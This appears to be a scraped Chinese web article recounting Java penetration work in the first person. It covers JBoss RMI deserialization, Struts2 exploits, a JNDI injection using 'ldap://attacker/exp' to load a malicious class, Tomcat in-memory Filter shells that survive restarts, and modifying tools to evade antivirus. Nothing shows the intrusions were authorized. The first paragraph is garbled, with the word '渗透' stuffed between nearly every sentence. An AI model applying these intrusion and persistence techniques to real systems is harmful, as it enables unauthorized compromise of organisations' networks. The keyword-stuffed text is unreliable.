当前位置:首页 > 焦点 > java渗透 正文

java渗透

来源:烟消火灭网   作者:百科   时间:2026-10-17 05:54:02

去年冬天,渗透我在一个老旧的渗透JBoss服务器上发现了一个反序列化入口。那个接口用的渗透是Java RMI,端口开着1099,渗透没有任何认证。渗透我当时就想,渗透这玩意儿要是渗透被扫到,整个内网就完了。渗透后来果然,渗透三天后我拿到了域控权限。渗透这不是渗透电影情节,这是渗透Java渗透里每天都在发生的事。

Java应用有个特点:它不像PHP那样把漏洞写在脸上。渗透你得先看懂它的渗透结构。一个典型的渗透Java Web应用,可能是Spring Boot打的fat jar,也可能是Tomcat里塞了一堆war包。不管哪种,你最先要盯的是WEB-INF/web.xml和META-INF/MANIFEST.MF。前者告诉你有哪些servlet和filter,后者能暴露依赖库的版本。我见过一个系统,MANIFEST里写着struts2-core-2.3.15.1,这版本S2-045直接打,连绕WAF的功夫都省了。

反序列化是Java渗透里绕不开的坎。很多人一上来就背ysoserial的gadget链,但实际环境里没那么理想。你面对的可能是JDK 8u191之后的版本,JNDI被限制;也可能是用了自定义的ObjectInputStream,黑名单把CommonCollections全拦了。这时候得换个思路。我试过用URLDNS链做DNS外带,虽然不能RCE,但能确认漏洞存在。确认了再慢慢找绕过——比如找找有没有Groovy或者BeanShell的依赖,这些往往没被加到黑名单里。

JNDI注入这两年又火起来了。Log4j2那波把${ jndi:ldap://}推到了每个人面前。但真正有意思的是,很多开发觉得升级了Log4j就没事了。他们不知道InitialContext.lookup()在很多地方被直接调用,参数就是用户输入。我上个月在一个报表系统里发现,导出功能会把用户填的“数据源名称”直接传给lookup()。没过滤,没白名单。我用ldap://attacker/exp打过去,服务器乖乖加载了我的恶意类。

内存马是另一个方向。传统webshell要写文件,容易被文件监控逮到。内存马直接往Tomcat的StandardContext里注册Filter或者Servlet,重启就没了,但重启前你随便用。我习惯用Filter型,因为doFilter里能拿到HttpServletRequest,执行命令方便。注入方式也简单,反序列化或者JNDI都能干。有一次我注入了内存马,运维重启了服务,我以为掉了,结果发现他们用的是热部署,StandardContext没重建,马还在。

工具方面,ysoserial和marshalsec是标配,但别只会用默认的。我改过ysoserial的Gadgets类,把Runtime.exec换成ProcessBuilder,因为有些环境禁了Runtime。还有JNDIExploit,那个工具的作者把LDAP服务端和HTTP服务端集成在一起,省得自己搭。不过用的时候注意,很多杀软会拦Reference类加载,得自己改改字节码。

最后说个非技术的事。Java渗透里,信息收集比漏洞利用重要十倍。我见过太多人拿着扫描器一顿扫,结果连目标用的什么框架都没搞清楚。花半小时看看JS文件里的路径、看看报错页面的堆栈、看看Cookie里的JSESSIONID格式,比盲目跑工具强得多。有一次我从一个.do后缀判断出是Struts2,从报错页面看到了devMode没关,直接拿到了OGNL执行。工具是死的,人是活的。

Java渗透没有银弹。每个环境都不一样,每个版本都有坑。你唯一能做的就是理解它的运行机制——类加载、序列化、JNDI、反射。这些搞懂了,剩下的就是拼经验和耐心。

标签:

责任编辑:时尚